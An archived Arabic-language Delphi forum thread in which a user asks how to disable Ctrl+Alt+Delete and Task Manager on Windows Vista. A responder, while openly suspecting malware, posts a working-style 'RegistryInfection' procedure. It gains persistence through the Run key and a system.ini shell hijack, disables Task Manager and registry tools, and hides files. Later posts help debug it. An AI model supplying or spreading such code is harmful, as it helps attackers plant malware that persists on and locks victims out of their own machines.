+- delphi4arab منتديات دلفي للعرب (https://delphi4arab.net/forum)
+-- قسم : منتديات دلفي للعرب التعليمية (https://delphi4arab.net/forum/forumdisplay.php?fid=3)
+--- قسم : سؤال و جواب حول دلفي (https://delphi4arab.net/forum/forumdisplay.php?fid=15)
+--- الموضوع : تعطيل alt + ctrl +delete في وندوز فيستا (/showthread.php?tid=307)
الصفحات:
1
2
تعطيل alt + ctrl +delete في وندوز فيستا - galag8 - 08-12-2008
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله تعالي وبركاته
كل عام وانتم بخير
اعاده الله علينا وعليكم وعلي جميع الامه الاسلاميه باليمن والبركات
في الحقيقه اود تعطيل task manager في وندوز فيستا اي تعطيل المفاتيح alt + ctrl +delete
وشكرا
تعطيل alt + ctrl +delete في وندوز فيستا - nabilkeb - 09-12-2008
galag8 كتب :تعطيل task manager في وندوز فيستا اي تعطيل المفاتيح alt + ctrl +delete
و في أنظمة نشغيل أخرى (xp) . في انتظار مساعـدة الأصدقاء.
تعطيل alt + ctrl +delete في وندوز فيستا - STRELiTZIA - 09-12-2008
بسم الله الرحمن الرحيم
امممممم في مشاركتك السابقة و هذه اشم رائحة برمجة Malware يعني برنامج ضار...:mad:
اليك هذه الاجرائية التي تجيب عن بعض اسئلتك.
1- انتبه الى TCustomReg انها غير موجودة في دلفي، غيرها فقط بالموجودة عندك : اعتبره واجب منزلي
و لا تسأل كيف.2- حاول ايضا عمل اجرائية تنظبف و انشرها هنا.
PHP كود :
procedure RegistryInfection(sName, sPath: string);
var Reg: TCustomReg;
begin
Reg := TCustomReg.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', False);
Reg.WriteString(sName, sPath);
WritePrivateProfileString('boot', 'shell', pchar('Explorer.exe ' + sPath), 'system.ini');
//WritePrivateProfileString('boot', 'Userinit', pchar('C:\WINDOWS\system32\userinit.exe ' + sPath), 'system.ini');
//WritePrivateProfileString('boot', 'UIHost', pchar('C:\WINDOWS\system32\logonui.exe ' + sPath), 'system.ini');
Reg.RootKey := HKEY_CURRENT_USER;
if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System', True) then
begin
Reg.WriteInteger('DisableTaskMgr', 1);
Reg.WriteInteger('DisableRegistryTools', 1);
if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', False) then
Reg.WriteInteger('NoFolderOptions', 1);
if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced', False) then
Reg.WriteInteger('Hidden', 0);
Reg.WriteInteger('ShowSuperHidden', 0);
Reg.Free;
MessageBoxA(Handle, Pchar('Windows Registry INFECTED with : "' + sName + '"'), Pchar('WARNING'), 0);
end;
end;
ملاحظة : انت وحدك المسؤول امام الله على استعمال هذا الجزء من الكود خارج الغرض التعليمي...
تعطيل alt + ctrl +delete في وندوز فيستا - galag8 - 10-12-2008
شكرا جزيلا بس لا والله انا استعملها في مشروع تخرج والله من وراء القصد
تعطيل alt + ctrl +delete في وندوز فيستا - galag8 - 10-12-2008
جربته بس يظهر خطاء بان undeclared identifier 'handle'
كود :
MessageBoxA([color=Red]Handle[/color], Pchar('Windows Registry INFECTED with : "' + sName + '"'), Pchar('WARNING'), 0);تعطيل alt + ctrl +delete في وندوز فيستا - STRELiTZIA - 10-12-2008
إقتباس :شكرا جزيلا بس لا والله انا استعملها في مشروع تخرج والله من وراء القصداخي العزيز هي مجرد ملاحظة فقط
و اي معلومات اخرى لا تتردد اي نسخة دلفي تستعمل اخي العزيز ؟
يمكنك تغييرها :
مكان الهندل بــ 0 الهندل الافتراضي او اضافة اسم النافذة الأساسية لبرنامجك مثال: Form1.Handle
بالتوفيق ان شاء الله
تعطيل alt + ctrl +delete في وندوز فيستا - galag8 - 11-12-2008
استعمل دلفي 6 اسف اخي بس ماهي البراميترات التي سوف امررها للاجراء
انا **** عند ضغط زر يتم تعطيلها نهائيا والضغط علي زر اخر يتم تشغيلها
وشكرا بارك الله فيك
تعطيل alt + ctrl +delete في وندوز فيستا - STRELiTZIA - 11-12-2008
إقتباس :عند ضغط زر يتم تعطيلها نهائيا والضغط علي زر اخر يتم تشغيلها
اقرأ الاجرائية جيدا...
اليك بعض المــــساعدة الصغيرة لان كل شئ امامك اخي العزيز
مامعنى : DisableTaskMgr و لماذا اعطيتها قيمة 1 ؟ و عكسها المنطقي باعطاء قيمة 0
ايضا : ShowSuperHidden تتأثر بــ 0 و 1
ركز على معنى الأسماء و علاقتها بالرجستري...
sName : هو اسم الملف المراد تنفيذه عند اقلاع النظام
sPath : مساره
بالتوفيق ان شاء الله
تعطيل alt + ctrl +delete في وندوز فيستا - galag8 - 11-12-2008
شكرا جزيلا استاذ بارك الله فيك
مشكله جديده
failed to set data for 'project1.exe'
تعطيل alt + ctrl +delete في وندوز فيستا - nabilkeb - 11-12-2008
بارك الله فيك أخ STRELiTZIA ، معلومات قيمة ، نحتاجها كثيرا ، تشكر.